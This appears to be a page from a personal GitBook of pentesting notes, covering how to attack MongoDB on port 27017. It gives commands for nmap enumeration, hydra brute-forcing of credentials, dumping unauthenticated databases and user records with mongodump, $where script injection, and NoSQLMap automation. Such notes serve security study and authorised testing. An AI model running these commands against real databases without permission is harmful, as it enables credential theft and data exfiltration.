Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  1. Pentesting
  2. NET-Pen
  3. Attack Vectors by Port

MongoDB 27017

1. Nmap Scans for MongoDB

nmap --script mongodb-info -p 27017 <target-ip>

For database enumeration:

nmap --script mongodb-databases -p 27017 <target-ip>

2. Brute Forcing Credentials

  • Single username, password list:

hydra -l username -P passwords.txt <target-ip> mongodb
  • Username list, single password:

hydra -L usernames.txt -p password <target-ip> mongodb

3. Connecting to MongoDB

  • Local Connection:

mongo
mongo --port 27017
  • Remote Connection:

mongo --host <target-ip> --port 27017

For authenticated access:

mongo "mongodb://username:password@<target-ip>:27017/?authSource=admin"

4. Basic Commands

  • List all databases:

show dbs
  • Switch database or create if it doesn’t exist:

use <db_name>
  • List collections in the current database:

show collections
  • List all users in the current database:

show users
  • View database users:

db.system.users.find()
  • Run a JavaScript file:

load("example.js")

5. Data Retrieval Using Queries

  • Find all documents in a collection:

db.<collection_name>.find()
  • Find one document matching a condition:

db.<collection_name>.findOne({username: "admin"})
  • Operators:

    • $eq: Equal

      db.<collection_name>.findOne({username: {"$eq": "admin"}})
    • $ne: Not equal

      db.<collection_name>.findOne({password: {"$ne": "xyz"}})
    • $gt: Greater than

      db.<collection_name>.findOne({id: {"$gt": "2"}})

6. Exploitation Techniques

  1. Unsecured Instances:

    • Unauthenticated MongoDB instances allow direct access. Simply connect using:

      mongo <target-ip>:27017
    • Dump all databases:

      show dbs
      db.<db_name>.find()
    • Export data using mongodump:

      mongodump --host <target-ip> --port 27017 --out <output-dir>
  2. Weak Credentials:

    • If credentials are identified (e.g., via brute force), authenticate and escalate data access.

  3. No Authorization Restrictions:

    • Misconfigured MongoDB can allow creation or modification of collections:

      db.createCollection("new_collection")
      db.new_collection.insert({"key": "value"})
  4. Script Injection via $where:

    • Execute JavaScript within queries:

      db.<collection_name>.find({$where: "this.username == 'admin'"})

7. Automation with Scripts

You can automate enumeration and exploitation using custom scripts or tools:

  • Python automation script:

    sudo git clone https://github.com/kozmic/NoSQLMap.git
    cd NoSQLMap
    python nosqlmap.py
PreviousTomcat 8080Nexthttp 80

Last updated 5 months ago